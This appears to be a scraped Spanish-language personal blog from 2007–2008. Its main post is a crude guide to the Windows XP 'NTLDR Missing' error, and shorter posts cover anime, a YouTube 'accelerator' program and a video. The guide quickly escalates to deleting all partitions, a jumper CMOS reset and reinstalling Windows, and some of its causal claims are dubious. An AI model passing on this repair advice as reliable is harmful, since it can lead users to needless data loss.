A quienes no les gusta el sabor del betabel les parecerá buena idea diluirlo en jugo de zanahoria... Usted consúmalo como quiera, pero no deje de hacerlo, aunque sea de vez en cuando.

Informacion tomada de http://www.alimentacion-sana.com.ar/

Error: NTLDR Missing

2008-06-16T12:55:00.003-05:00

Ps despues de mucho tiempo se me ocurrio actualizar mi blog. Y desde ahora voy o poner cosas mas importantes, no solo pendejadas.
Bueno, ps hoy les voy a poner como reparar su PC o Lap cuando al prenderla les sale el puto mensaje de: ERROR: Falta NTLDR (ERROR: NTLDR Missing) o una madre asi.

Para empesar ese archivo solo se pierde por 4 razones:
1.-El ususario adicto a la limpieza y organizacion se le ocurrio que eran virus (sin primero ver que madres son) y los borra.
2.-Un virus que los borre.
3.-El Disco Duro (al que me referiré posteriormente como HD por hueva) ya esta jodido ao a punto de morir.
y finalmente y muy dificilmente que sea eso:
4.-Error de configuracion de bios por algun pico de voltaje.

Se recomienda contar con el disco de Herramientas "Hiren's Boot CD" que pueden descargar de :

http://rapidshare.com/files/38192012/Hiren_s_BootCD_9.1.zip.html

Nota: es un ISO, si no saben como quemar un iso, busquenle xD.

Pues aqui va:

"El Manual Antipendejos para reparar el NTLDR"

Este problema puede ser causado por varios factores, que van desde que el usuario borre los archivos por error, hasta un error en el bios.
Aqui explicaremos las diferentes situaciones y sus respectivas soluciones

Borrado por error de usuario o virus

La forma mas comun para solucionar el problema de Falta el archivo NTLDR, considerando de que el usuario lo haya borrado, es seguiendo el procedimiento siguiente:

1.- Arrancar el pc con el disco de Windows XP metido.
2.- Cuando nos salga el asistente de instalación de Windows Xp elegir la opción de Reparar Sistema.
(En caso de que no salga el asistente significa que el sistema no ha podido arrancar desde el CD).
Si sigue igual, entra en la BIOS y comprueba que la primera unidad en la secuencia de arranque es alguna de tus unidades de CD/DVD.
3.- Una vez que tengamos en pantalla el editor con C:\Windows, teclear 1 y presiona Enter.
4.- Nos pedirá la Clave de administrador. Si hemos puesto una clave la ponemos. Si no hemos puesto clave pulsamos Intro.
5.- Una vez que estemos en C:\Windows teclear FIXMBR y pulsar Intro.
6.- El sistema nos advierte de que si queremos continuar y ponemos S y presionamos Enter.

Una vez que estamos en el punto 6, tenemos que copiar dos archivos, debido que en dicha pérdida se arrastra también otro que es el ntdetect, por lo tanto hay que copiar ntldr y ntdetect en nuestro disco duro.

Para ello escribiremos lo siguiente:
copy D:\i386\ntldr C:\
copy D:\i386\ntdetect.com C:\

(Donde D:\ sería la unidad lectora donde se encuentra el cd de Windows XP y C:\ es la unidad de arranque donde tenemos instalado Windows).

Si todo sale bien debería de funcionar.

En caso de que siga sin funcionar y estamos seguros de que todo lo hemos hecho bien, el problema está en el espacio reservado para la informacion del HD.

Error en espacio reservado de Disco Duro

De aqui en adelante se requiere dar nuevo formato al HD, asi que antes de continuar respalde su informacion en alguna otra PC, algun amigo o familiar puede ayudarlo en eso.

Bien, para recuperar el funcionamiento del HD en cuestion utilizaremos nuestro cd de Hiren's Boot CD, que como su nombre lo indica es un disco de Arranque.

Introduzca el CD en su unidad lectora y reinicie su equipo. Al reiniciar, su equipo preguntará desde donde iniciar, selecciones la opcion Boot CD.

En el nuevo menu seleccione el programa llamado "Partition Magic 8.2 " y espere a que cargue.
Una vez en el programa, borre todas las particiones existentes, ya sean logicas o primarias. El programa es muy intuitivo, asi que no debe representar algun problema en su uso.

Bien. Despues de haber borrado particiones salga del programa. Este a su vez le dira que reinicie su equipo. Hagalo.
Ahora que su HD esta completamente limpio solo resta reinstalar su sistema operativo.

El problema debe estar resuelto.

"Pero el problema SIGUE!!!!"

Si despues de lo anterior el problema sigue, el problema esta en el BIOS.

Error por Configuracion de BIOS

Lo primero que tenemos que hacer es limpiar el CMOS, pero lo haremos por configuracion de Jumpers, que son las cositas de plastico que hacen puente entre los pines en dispositivos de hardware. Si lo hacemos por BIOs no sirve de nada.

Antes de hacerlo asegurense de que la maquina esta completamente desconectada, Incluso del cable del monitor.

Ahora abran su pc y busquen en la tarjeta madre donde dice CMOS reset, son 3 pines en los que el jumper hace puente de el 1 con el 2, generalmente esta por donde esta la bateria, que esta a su vez casi siempre esta en la esquina inferior derecha. Una vez localizado cambien el puente y ponganlo que quede un puente del pin 2 con el 3 y Retire la bateria por un momento.
conecte su maquina, prendala y apaguela. Ahora regrese los pines al puente 1 con 2 e inserte la bateria.

Bien, el BIOS esta configurado por defecto a la configuracion de fabrica.
Ya que esta limpio su BIOS, solo queda configurar nuevamente el orden de arranque de las unidades, fecha y hora.

una vez hecho esto siga los pasos indicados para la eliminacion de particiones con el uso de Hiren's Boot CD.

Para el orden de arranque de unidades recomiendo ponerlas de la siguiente manera

1.-Floppy
2.-CD/DVD
3.-HD
4.-Otros

Finalmente solo queda reinstalar el sistema operativo.
Cuando el asistente de instalacion pregunte el tipo de format que decea dar a la unidad de HD, por favor, de un formato completo de tipo NTFS, se que es mas tardado, pero es mucho mejor.

Ahora si, el problema debe estar solucionado completamente.

En caso de alguna duda pueden conactarme a mi e-mail.

Otakus

2007-11-30T15:25:00.001-06:00

Esta muy mamon para todos lo que nos pasa el anime, chekenlo.

Acelera la conexión con youtube y paginas similares.

2007-11-28T19:58:00.000-06:00

Cansado de ver videos muy lento en youtube porque el pendejo de a lado tiene el Ares a todo lo que da? Descarga e instala este programa para acelerar la descarga de los videos.

La leyenda del Espantapajaros

2007-11-28T00:12:00.000-06:00

Este video me lo pasó una niña a la que quiero mucho y me hizo recordar que cuando yo muera quiero que me quemen y tiren mis cenizas al mar. Nada de cosas religiosas ni mamadas de ese tipo, que mis amigos cumplan ese deseo para que cada vez que vean el mar se acuerden de mi y lo que he sido.

Espero que lo disfruten.

La leyenda del Espantapajaros
Uploaded by hal140580